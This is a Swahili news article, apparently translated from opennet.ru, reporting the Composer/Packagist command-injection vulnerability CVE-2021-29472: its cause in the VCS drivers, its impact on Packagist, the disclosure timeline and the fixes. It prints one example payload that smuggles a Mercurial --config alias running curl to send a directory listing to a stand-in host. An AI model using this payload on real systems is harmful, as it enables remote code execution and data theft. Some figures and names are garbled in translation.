Athari mbaya (CVE-2021-29472) imetambuliwa katika kidhibiti utegemezi cha Mtunzi ambacho huruhusu amri kiholela kutekelezwa kwenye mfumo wakati wa kuchakata kifurushi chenye thamani ya URL iliyoumbizwa mahususi ambayo hubainisha anwani ya kupakua msimbo wa chanzo. Tatizo hutokea katika vipengele vya GitDriver, SvnDriver, na HgDriver vinavyotumiwa wakati wa kutumia Git, Subversion, na mifumo ya udhibiti wa chanzo cha Mercurial. Athari hii ilitatuliwa katika matoleo ya Mtunzi 1.10.22 na 2.0.13.
Imebainika haswa kuwa suala hilo liliathiri hasa hazina ya kifurushi chaguo-msingi cha Mtunzi, Packagist, ambayo ina vifurushi 306 kwa wasanidi wa PHP na hutumikia zaidi ya vipakuliwa bilioni 1.4 kwa mwezi. Jaribio lilionyesha kuwa ikiwa kulikuwa na ufahamu wa tatizo, washambuliaji wanaweza kupata udhibiti wa miundombinu ya Packagist na kuingilia kitambulisho cha watunzaji au kuelekeza upya vipakuliwa vya vifurushi kwa seva ya watu wengine, kuandaa utoaji wa lahaja za kifurushi na mabadiliko mabaya ili kubadilisha mlango wa nyuma. wakati wa mchakato wa ufungaji wa utegemezi.
Hatari kwa watumiaji wa mwisho ni mdogo kwa ukweli kwamba maudhui ya composer.json kawaida huamuliwa na mtumiaji, na viungo vya chanzo hupitishwa wakati wa kufikia hazina za watu wengine, ambazo kwa kawaida ni za kuaminika. Pigo kuu lilianguka kwenye hazina ya Packagist.org na huduma ya Private Packagist, ambayo iliita Mtunzi na uhamisho wa data iliyopokelewa kutoka kwa watumiaji. Wavamizi wanaweza kutekeleza nambari zao kwenye seva za Packagist kwa kuweka kifurushi kilichoundwa mahususi.
Timu ya Packagist ilirekebisha uwezekano wa kuathiriwa ndani ya saa 12 baada ya athari kuripotiwa. Watafiti waliwaarifu watengenezaji wa Packagist kwa faragha tarehe 22 Aprili, na tatizo lilirekebishwa siku hiyo hiyo. Sasisho la umma kwa Mtunzi anayeshughulikia athari hiyo lilichapishwa mnamo Aprili 27, na maelezo yalifunuliwa mnamo Aprili 28. Ukaguzi wa kumbukumbu kwenye seva za Packagist haukuonyesha shughuli yoyote ya kutiliwa shaka inayohusiana na athari.
Tatizo linasababishwa na hitilafu katika msimbo wa uthibitishaji wa URL katika faili ya mizizi composer.json na viungo vya kupakua chanzo. Hitilafu imekuwepo katika kanuni tangu Novemba 2011. Packagist hutumia safu maalum kupanga upakiaji wa msimbo bila kuunganishwa na mfumo mahususi wa kudhibiti chanzo, ambao hutekelezwa kwa kupiga simu "kutoka kwaShellCommandline" na kupitisha hoja za mstari wa amri. Kwa mfano, kwa git, amri "git ls-remote -heads $URL" inaitwa, ambapo URL inachakatwa kwa kutumia mbinu ya "ProcessExecutor::escape($url)", kuepuka miundo hatari kama vile "$(. ..)" au "` ...`".
Kiini cha tatizo ni kwamba ProcessEcutor::mbinu ya escape haikuepuka mlolongo wa “—”, ambao uliruhusu kigezo chochote cha ziada cha simu kubainishwa katika URL. Kutoroka vile hakukuwepo katika viendeshi vya GitDriver.php, SvnDriver.php na HgDriver.php. Shambulio la GitDriver.php lilitatizwa na ukweli kwamba amri ya "git ls-remote" haikuunga mkono kubainisha hoja za ziada baada ya njia. Mashambulizi kwenye HgDriver.php yaliwezekana kwa kupitisha parameter "--config" kwa matumizi ya "hq", ambayo inakuwezesha kuandaa utekelezaji wa amri yoyote kwa kuendesha mpangilio wa "alias.identify". Kwa mfano, kupakua na kutekeleza msimbo kwa kuendesha matumizi ya curl, unaweza kubainisha: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”
Kwa kuchapisha kifurushi cha majaribio chenye URL sawa na Packagist, watafiti walithibitisha kwamba baada ya kuchapisha, seva yao ilipokea ombi la HTTP kutoka kwa mmoja wa seva Packagist kwenye AWS, iliyo na orodha ya faili katika saraka ya sasa.
Chanzo: opennet.ru
